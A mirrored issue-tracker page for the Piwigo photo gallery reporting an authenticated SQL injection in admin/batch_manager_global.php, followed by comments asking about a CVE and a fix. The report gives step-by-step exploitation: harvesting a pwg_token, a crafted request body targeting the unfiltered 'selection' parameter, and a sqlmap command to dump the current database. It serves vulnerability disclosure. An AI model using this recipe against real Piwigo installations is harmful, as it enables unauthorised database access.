adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-11-03 07:22:22 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

[11.5]SQL injection #1281

New Issue
Closed
opened 2026-10-05 00:38:38 +02:00 by adam · 3 comments
adam commented 2026-10-05 00:38:38 +02:00
Owner
Copy link
Copy source

I find that there is a sqli in piwigo,here are my descriptions;
At first we need to login and then we can Visit the website http://your-url/admin.php
then we need a Key Parameters called pwg_token,there are many ways to get a token
i visit http://your-url/admin.php?page=user_list
image
then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b
The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered
image
Unfiltered parametersselection is spliced
image
The next step is to capture packets using BurpSuite by simply constructing parameters
selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79
Remember to replace the value of the token above
image
Save parameters to file，then just use sqlmap to exploit
python sqlmap.py -r 1233 --current-db
image

I find that there is a sqli in piwigo,here are my descriptions; At first we need to login and then we can Visit the website http://your-url/admin.php then we need a Key Parameters called pwg_token,there are many ways to get a token i visit http://your-url/admin.php?page=user_list ![image](https://user-images.githubusercontent.com/56486273/131239935-1e1a76df-e502-48d7-bb29-82f8687b5280.png) then i got pwg_token=3c28c3bf6adc56b0695cf64073605f9b The point of vulnerability is in admin/batch_manager_global.php；The parameter selection is not filtered ![image](https://user-images.githubusercontent.com/56486273/131240000-fd43c30b-42bf-4d1e-8296-581e5b3bf08f.png) Unfiltered parametersselection is spliced ![image](https://user-images.githubusercontent.com/56486273/131240040-95838169-98c6-434e-be6d-890d9add0ba7.png) The next step is to capture packets using BurpSuite by simply constructing parameters selection%5B%5D=1&selectAction=delete_derivatives&submit=1&del_derivatives_type=1&del_tags%5B%5D=1&pwg_token=4a3513cd81aa311107704fd00bde0a79 Remember to replace the value of the token above ![image](https://user-images.githubusercontent.com/56486273/131240106-fd38c256-7ab4-4256-849c-e4eb3a36dbe7.png) Save parameters to file，then just use sqlmap to exploit python sqlmap.py -r 1233 --current-db ![image](https://user-images.githubusercontent.com/56486273/131240453-842b89ba-1604-465a-8802-6b8b984e1426.png) <!-- github-sync-id:982002210 -->
adam closed this issue 2026-10-05 00:38:38 +02:00
adam commented 2026-10-05 00:38:39 +02:00
Author
Owner
Copy link
Copy source

@Stakcery why was this closed? Someone has requested CVE identifier for this vulnerability. Please see: https://nvd.nist.gov/vuln/detail/CVE-2021-40313

@plegall is this valid and needs to be fixed?

@Stakcery why was this closed? Someone has requested CVE identifier for this vulnerability. Please see: https://nvd.nist.gov/vuln/detail/CVE-2021-40313 @plegall is this valid and needs to be fixed? <!-- github-comment-id:987834326 -->
adam commented 2026-10-05 00:38:39 +02:00
Author
Owner
Copy link
Copy source

I submitted this earlier and clicked close by the way

I submitted this earlier and clicked close by the way <!-- github-comment-id:987848894 -->
adam commented 2026-10-05 00:38:40 +02:00
Author
Owner
Copy link
Copy source

I submitted this earlier and clicked close by the way

So, is this fixed? If so, what is the fixed version/commit?

> I submitted this earlier and clicked close by the way So, is this fixed? If so, what is the fixed version/commit? <!-- github-comment-id:989134412 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1281